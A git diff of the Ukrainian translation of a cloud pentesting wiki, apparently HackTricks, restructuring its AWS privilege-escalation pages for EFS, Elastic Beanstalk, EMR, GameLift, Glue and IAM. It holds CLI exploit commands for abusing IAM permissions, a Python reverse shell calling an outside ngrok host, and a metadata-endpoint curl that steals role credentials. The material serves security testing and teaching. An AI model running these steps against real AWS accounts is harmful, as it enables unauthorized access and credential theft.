щоб отримати до нього доступ. + +### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` + +Маючи будь-який з цих дозволів, зловмисник може **змінити політику файлової системи**, щоб **надати собі доступ** до неї, або просто **видалити її**, щоб був наданий **доступ за замовчуванням**. + +Щоб видалити політику: +```bash +aws efs delete-file-system-policy \ +--file-system-id +``` +Щоб змінити це: +```json +aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json + +// Give everyone trying to mount it read, write and root access +// policy.json: +{ +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] +} +``` +### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` + +З цим дозволом зловмисник зможе **mount the EFS**. Якщо write permission не надається за замовчуванням усім, хто може **mount the EFS**, він матиме лише **read access**. +```bash +sudo mkdir /efs +sudo mount -t efs -o tls,iam :/ /efs/ +``` +Додаткові дозволи `elasticfilesystem:ClientRootAccess` та `elasticfilesystem:ClientWrite` можна використати для **запису** в файлову систему після її монтування та для **доступу** до цієї файлової системи **як root**. + +**Potential Impact:** Непряма privesc шляхом знаходження чутливих даних у файловій системі. + +### `elasticfilesystem:CreateMountTarget` + +Якщо атакуючий перебуває в **підмережі**, де **немає mount target** для EFS. Він може просто **створити його у своїй підмережі** з цим дозволом: +```bash +# You need to indicate security groups that will grant the user access to port 2049 +aws efs create-mount-target --file-system-id \ +--subnet-id \ +--security-groups +``` +**Potential Impact:** Indirect privesc шляхом знаходження чутливої інформації у файловій системі. + +### `elasticfilesystem:ModifyMountTargetSecurityGroups` + +У сценарії, коли зловмисник виявляє, що EFS має mount target у своїй підмережі, але **no security group is allowing the traffic**, він може просто **change that modifying the selected security groups**: +```bash +aws efs modify-mount-target-security-groups \ +--mount-target-id \ +--security-groups +``` +**Потенційний вплив:** Непряме privesc шляхом знаходження конфіденційної інформації у файловій системі. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index 0c4640f36..4878f6e68 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Більше **інформації про Elastic Beanstalk** в: +Більше **інформації про Elastic Beanstalk** у: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Для виконання чутливих дій у Beanstalk вам знадобиться мати **багато чутливих дозволів у багатьох різних сервісах**. Ви можете перевірити, наприклад, дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Щоб виконувати чутливі дії в Beanstalk, вам потрібно мати **велику кількість чутливих дозволів у багатьох різних сервісах**. Наприклад, ви можете перевірити дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, дозволи на запис S3 та багато інших +### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions та багато іншого -З **дозволами на запис у S3 бакет**, що містить **код** середовища, та дозволами на **перебудову** програми (необхідно `elasticbeanstalk:RebuildEnvironment` та кілька інших, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **модифікувати** **код**, **перебудувати** додаток, і наступного разу, коли ви отримуєте доступ до додатку, він **виконає ваш новий код**, що дозволяє зловмиснику скомпрометувати додаток та облікові дані ролі IAM. +Маючи **write permissions over the S3 bucket** що містить **code** середовища та дозволи для **rebuild** додатка (потрібні `elasticbeanstalk:RebuildEnvironment` та ще декілька, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **modify** **code**, **rebuild** додаток, і наступного разу при доступі до додатка він **execute your new code**, що дозволить атакуючому скомпрометувати додаток та облікові дані IAM role. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -30,39 +30,39 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, і більше... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, та інші... -Зазначені, а також кілька **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** та **`elasticloadbalancing`** дозволів є необхідними для створення базового сценарію Elastic Beanstalk з нуля. +Вищезгадані та кілька дозволів **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** і **`elasticloadbalancing`** необхідні для створення базового сценарію Elastic Beanstalk з нуля. - Створити додаток AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- Створіть середовище AWS Elastic Beanstalk ([**підтримувані платформи**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Створіть AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Якщо середовище вже створене і ви **не хочете створювати нове**, ви можете просто **оновити** існуюче. +Якщо середовище вже створено і ви **не хочете створювати нове**, ви можете просто **оновити** існуюче. -- Упакуйте код вашого додатку та залежності в ZIP-файл: +- Запакуйте код вашого додатку та залежності в ZIP file: ```python zip -r MyApp.zip . ``` -- Завантажте ZIP-файл до S3 бакету: +- Завантажте ZIP-файл у S3 bucket: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` -- Створіть версію програми AWS Elastic Beanstalk: +- Створіть версію застосунку для AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Розгорніть версію програми у вашому середовищі AWS Elastic Beanstalk: +- Розгорніть версію додатка у вашому середовищі AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -По-перше, вам потрібно створити **легітимне середовище Beanstalk** з **кодом**, який ви хочете запустити у **жертви**, дотримуючись **попередніх кроків**. Потенційно це може бути простий **zip**, що містить ці **2 файли**: +По-перше, потрібно створити **legit Beanstalk environment** з **code**, який ви хочете запустити у **victim**, дотримуючись **попередніх кроків**. Можна використати простий **zip**, що містить ці **2 файли**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Якщо у вас **запущене власне середовище Beanstalk** з вашим rev shell, настав час **мігрувати** його до середовища **жертви**. Для цього вам потрібно **оновити політику бакету** вашого S3 бакету Beanstalk, щоб **жертва могла отримати доступ** до нього (Зверніть увагу, що це **відкриє** бакет для **ВСІХ**): +Після того, як у вас запущено **your own Beanstalk env running** з вашим rev shell, настав час **migrate** його до **victims env**. Для цього потрібно **update the Bucket Policy** вашого beanstalk S3 bucket, щоб **victim can access it** (Зверніть увагу, що це **open** Bucket для **EVERYONE**): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index f2f8b86bb..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -Більше **інформації про EMR** в: - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -Атакуючий з цими дозволами може **запустити новий кластер EMR, прикріплюючи ролі EC2** та намагатися вкрасти його облікові дані.\ -Зверніть увагу, що для цього вам потрібно **знати деякий ssh приватний ключ, імпортований в обліковий запис** або імпортувати один, і мати можливість **відкрити порт 22 на майстер-ноді** (ви можете зробити це з атрибутами `EmrManagedMasterSecurityGroup` та/або `ServiceAccessSecurityGroup` всередині `--ec2-attributes`). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > /tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -Зверніть увагу, як **EMR роль** вказується в `--service-role`, а **ec2 роль** вказується в `--ec2-attributes` всередині `InstanceProfile`. Однак ця техніка дозволяє лише вкрасти облікові дані EC2 ролі (оскільки ви підключитеся через ssh), але не EMR IAM роль. - -**Потенційний вплив:** Privesc до EC2 сервісної ролі, що вказана. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -З цими дозволами зловмисник може перейти до **AWS консолі**, створити Ноутбук і отримати до нього доступ, щоб вкрасти IAM роль. - -> [!CAUTION] -> Навіть якщо ви прикріпите IAM роль до екземпляра ноутбука, у моїх тестах я помітив, що зміг вкрасти облікові дані, керовані AWS, а не облікові дані, пов'язані з IAM роллю. - -**Потенційний вплив:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -### `elasticmapreduce:OpenEditorInConsole` - -Лише з цим дозволом зловмисник зможе отримати доступ до **Jupyter Notebook і вкрасти IAM роль**, пов'язану з ним.\ -URL ноутбука: `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` - -> [!CAUTION] -> Навіть якщо ви прикріпите IAM роль до екземпляра ноутбука, у моїх тестах я помітив, що зміг вкрасти облікові дані, керовані AWS, а не облікові дані, пов'язані з IAM роллю. - -**Потенційний вплив:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..8fa0a102b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,62 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +Більше **інформації про EMR** у: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +Атакувальник з такими дозволами може **запустити новий EMR кластер, прикріпивши EC2 roles** та спробувати вкрасти його облікові дані.\ +Зауважте, що для цього вам потрібно **знати якийсь ssh priv key, імпортований в account** або імпортувати його, а також мати можливість **відкрити порт 22 на master node** (можливо, ви зможете зробити це за допомогою атрибутів `EmrManagedMasterSecurityGroup` та/або `ServiceAccessSecurityGroup` всередині `--ec2-attributes`). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Зверніть увагу, як **EMR role** вказується в `--service-role`, а **ec2 role** вказується в `--ec2-attributes` всередині `InstanceProfile`. Однак цей метод дозволяє викрасти лише облікові дані ролі EC2 (оскільки ви підключатиметесь через ssh), але не EMR IAM Role. + +**Potential Impact:** Privesc до вказаної ролі сервісу EC2. + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +За допомогою цих дозволів нападник може зайти в **AWS console**, створити Notebook і отримати до нього доступ, щоб викрасти IAM Role. + +> [!CAUTION] +> Навіть якщо ви прикріпите IAM role до notebook instance, у моїх тестах я помітив, що зміг вкрасти AWS managed credentials, а не облікові дані, пов'язані з IAM role. + +**Potential Impact:** Privesc до AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +### `elasticmapreduce:OpenEditorInConsole` + +Лише з цим дозволом нападник зможе отримати доступ до **Jupyter Notebook і викрасти пов'язаний з ним IAM role**.\ +The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +> [!CAUTION] +> Навіть якщо ви прикріпите IAM role до notebook instance, у моїх тестах я помітив, що зміг вкрасти AWS managed credentials, а не облікові дані, пов'язані з IAM role + +**Potential Impact:** Privesc до AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index 5df9ad2a8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -З цією дозволом зловмисник може отримати **новий набір облікових даних для використання при завантаженні** нового набору файлів збірки гри до Amazon GameLift's Amazon S3. Він поверне **облікові дані для завантаження S3**. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## Посилання - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..9da6f2a14 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +Маючи цей дозвіл attacker може отримати **новий набір облікових даних для використання під час завантаження** нового набору файлів збірки гри в Amazon GameLift's Amazon S3. Він поверне **S3 upload credentials**. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## Посилання + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md deleted file mode 100644 index b5b0fe5c9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - Glue Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## glue - -### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) - -Користувачі з цими дозволами можуть **налаштувати нову точку розробки AWS Glue**, **призначаючи існуючу роль служби, яку може використовувати Glue**, з конкретними дозволами для цієї точки. - -Після налаштування **зловмисник може підключитися до екземпляра точки через SSH** і вкрасти облікові дані IAM призначеної ролі: -```bash -# Create endpoint -aws glue create-dev-endpoint --endpoint-name \ ---role-arn \ ---public-key file:///ssh/key.pub - -# Get the public address of the instance -## You could also use get-dev-endpoints -aws glue get-dev-endpoint --endpoint-name privesctest - -# SSH with the glue user -ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com -``` -Для цілей прихованості рекомендується використовувати облікові дані IAM зсередини віртуальної машини Glue. - -**Потенційний вплив:** Привілейоване підвищення до ролі служби glue. - -### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) - -Користувачі з цим дозволом можуть **змінити SSH-ключ існуючої точки розробки Glue**, **дозволяючи доступ по SSH до неї**. Це дозволяє зловмиснику виконувати команди з привілеями прикріпленої ролі точки розробки: -```bash -# Change public key to connect -aws glue --endpoint-name target_endpoint \ ---public-key file:///ssh/key.pub - -# Get the public address of the instance -## You could also use get-dev-endpoints -aws glue get-dev-endpoint --endpoint-name privesctest - -# SSH with the glue user -ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com -``` -**Потенційний вплив:** Privesc до ролі служби glue, що використовується. - -### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) - -Користувачі з **`iam:PassRole`** у поєднанні з **`glue:CreateJob` або `glue:UpdateJob`**, і з **`glue:StartJobRun` або `glue:CreateTrigger`** можуть **створити або оновити завдання AWS Glue**, прикріпивши будь-який **обліковий запис служби Glue**, і ініціювати виконання завдання. Можливості завдання включають виконання довільного Python-коду, що може бути використано для встановлення зворотного шелу. Цей зворотний шел може бути використаний для ексфільтрації **облікових даних IAM** ролі, прикріпленої до завдання Glue, що може призвести до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі: -```bash -# Content of the python script saved in s3: -#import socket,subprocess,os -#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) -#s.connect(("2.tcp.ngrok.io",11216)) -#os.dup2(s.fileno(),0) -#os.dup2(s.fileno(),1) -#os.dup2(s.fileno(),2) -#p=subprocess.call(["/bin/sh","-i"]) -#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy - - -# A Glue role with admin access was created -aws glue create-job \ ---name privesctest \ ---role arn:aws:iam::93424712358:role/GlueAdmin \ ---command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' - -# You can directly start the job -aws glue start-job-run --job-name privesctest -# Or you can create a trigger to start it -aws glue create-trigger --name triggerprivesc --type SCHEDULED \ ---actions '[{"JobName": "privesctest"}]' --start-on-creation \ ---schedule "0/5 * * * * *" #Every 5mins, feel free to change -``` -**Потенційний вплив:** Privesc до ролі служби glue, що вказана. - -### `glue:UpdateJob` - -Просто з дозволом на оновлення атакуючий може вкрасти IAM облікові дані вже прикріпленої ролі. - -**Потенційний вплив:** Privesc до прикріпленої ролі служби glue. - -## Посилання - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md new file mode 100644 index 000000000..9bcd7023d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - Glue Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## glue + +### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) + +Користувачі з цими дозволами можуть **створити новий AWS Glue development endpoint**, **призначивши цьому endpoint існуючу service role, яку може приймати Glue**, з певними дозволами. + +Після налаштування **атакуючий може підключитися по SSH до інстансу endpoint** та вкрасти IAM-креденціали призначеної ролі: +```bash +# Create endpoint +aws glue create-dev-endpoint --endpoint-name \ +--role-arn \ +--public-key file:///ssh/key.pub + +# Get the public address of the instance +## You could also use get-dev-endpoints +aws glue get-dev-endpoint --endpoint-name privesctest + +# SSH with the glue user +ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com +``` +З метою прихованості рекомендовано використовувати IAM облікові дані зсередини віртуальної машини Glue. + +**Potential Impact:** Privesc до вказаної glue service role. + +### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) + +Користувачі з цим дозволом можуть **змінити SSH-ключ існуючого Glue development endpoint'а**, **надавши доступ по SSH до нього**. Це дозволяє нападнику виконувати команди з привілеями ролі, прикріпленої до endpoint'а: +```bash +# Change public key to connect +aws glue --endpoint-name target_endpoint \ +--public-key file:///ssh/key.pub + +# Get the public address of the instance +## You could also use get-dev-endpoints +aws glue get-dev-endpoint --endpoint-name privesctest + +# SSH with the glue user +ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com +``` +**Потенційний вплив:** Privesc до використаної сервісної ролі glue. + +### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) + +Користувачі з **`iam:PassRole`**, у поєднанні з або **`glue:CreateJob` чи `glue:UpdateJob`**, та або **`glue:StartJobRun` чи `glue:CreateTrigger`** можуть **створити або оновити завдання AWS Glue**, прикріпивши будь-який **Glue service account**, та ініціювати виконання завдання. Завдання може виконувати довільний код Python, що може бути використано для встановлення reverse shell. Цей reverse shell можна використати для ексфільтрації **IAM credential**s ролі, прикріпленої до завдання Glue, що може призвести до несанкціонованого доступу або дій на основі прав цієї ролі: +```bash +# Content of the python script saved in s3: +#import socket,subprocess,os +#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +#s.connect(("2.tcp.ngrok.io",11216)) +#os.dup2(s.fileno(),0) +#os.dup2(s.fileno(),1) +#os.dup2(s.fileno(),2) +#p=subprocess.call(["/bin/sh","-i"]) +#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy + + +# A Glue role with admin access was created +aws glue create-job \ +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' + +# You can directly start the job +aws glue start-job-run --job-name privesctest +# Or you can create a trigger to start it +aws glue create-trigger --name triggerprivesc --type SCHEDULED \ +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change +``` +**Potential Impact:** Privesc до зазначеної ролі сервісу glue. + +### `glue:UpdateJob` + +Маючи лише дозвіл update, зловмисник може вкрасти облікові дані IAM вже приєднаної ролі. + +**Potential Impact:** Privesc до приєднаної ролі сервісу glue. + +## Посилання + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md deleted file mode 100644 index b4e94f8d0..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - IAM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Для отримання додаткової інформації про IAM перегляньте: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### **`iam:CreatePolicyVersion`** - -Надає можливість створювати нову версію політики IAM, обходячи необхідність у дозволі `iam:SetDefaultPolicyVersion`, використовуючи прапорець `--set-as-default`. Це дозволяє визначати власні дозволи. - -**Exploit Command:** -```bash -aws iam create-policy-version --policy-arn \ ---policy-document file:///path/to/administrator/policy.json --set-as-default -``` -**Вплив:** Прямо ескалює привілеї, дозволяючи будь-яку дію над будь-яким ресурсом. - -### **`iam:SetDefaultPolicyVersion`** - -Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, потенційно ескалуючи привілеї, якщо нова версія має більше дозволів. - -**Bash команда:** -```bash -aws iam set-default-policy-version --policy-arn --version-id v2 -``` -**Вплив:** Непряме підвищення привілеїв шляхом надання додаткових дозволів. - -### **`iam:CreateAccessKey`** - -Дозволяє створювати ідентифікатор ключа доступу та секретний ключ доступу для іншого користувача, що може призвести до потенційного підвищення привілеїв. - -**Експлуатація:** -```bash -aws iam create-access-key --user-name -``` -**Вплив:** Пряме підвищення привілеїв шляхом прийняття розширених дозволів іншого користувача. - -### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** - -Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в консоль AWS, що призводить до прямого підвищення привілеїв. - -**Експлуатація для створення:** -```bash -aws iam create-login-profile --user-name target_user --no-password-reset-required \ ---password '' -``` -**Експлуатація для оновлення:** -```bash -aws iam update-login-profile --user-name target_user --no-password-reset-required \ ---password '' -``` -**Вплив:** Пряма ескалація привілеїв шляхом входу як "будь-який" користувач. - -### **`iam:UpdateAccessKey`** - -Дозволяє активувати деактивований ключ доступу, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник володіє деактивованим ключем. - -**Експлуатація:** -```bash -aws iam update-access-key --access-key-id --status Active --user-name -``` -**Вплив:** Пряме підвищення привілеїв шляхом повторної активації ключів доступу. - -### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** - -Дозволяє генерувати або скидувати облікові дані для конкретних сервісів AWS (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи асоційованого користувача. - -**Експлуатація для створення:** -```bash -aws iam create-service-specific-credential --user-name --service-name -``` -**Експлуатація для скидання:** -```bash -aws iam reset-service-specific-credential --service-specific-credential-id -``` -**Вплив:** Пряме підвищення привілеїв у дозволах сервісу користувача. - -### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** - -Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики. - -**Експлуатація для користувача:** -```bash -aws iam attach-user-policy --user-name --policy-arn "" -``` -**Експлуатація для Групи:** -```bash -aws iam attach-group-policy --group-name --policy-arn "" -``` -**Вплив:** Пряме підвищення привілеїв до всього, що надає політика. - -### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** - -Дозволяє прикріплювати або встановлювати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв шляхом надання додаткових дозволів. - -**Експлуатація для ролі:** -```bash -aws iam attach-role-policy --role-name --policy-arn "" -``` -**Експлуатація для вбудованих політик:** -```bash -aws iam put-user-policy --user-name --policy-name "" \ ---policy-document "file:///path/to/policy.json" - -aws iam put-group-policy --group-name --policy-name "" \ ---policy-document file:///path/to/policy.json - -aws iam put-role-policy --role-name --policy-name "" \ ---policy-document file:///path/to/policy.json -``` -Ви можете використовувати політику, таку як: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": ["*"], -"Resource": ["*"] -} -] -} -``` -**Вплив:** Пряме підвищення привілеїв шляхом додавання дозволів через політики. - 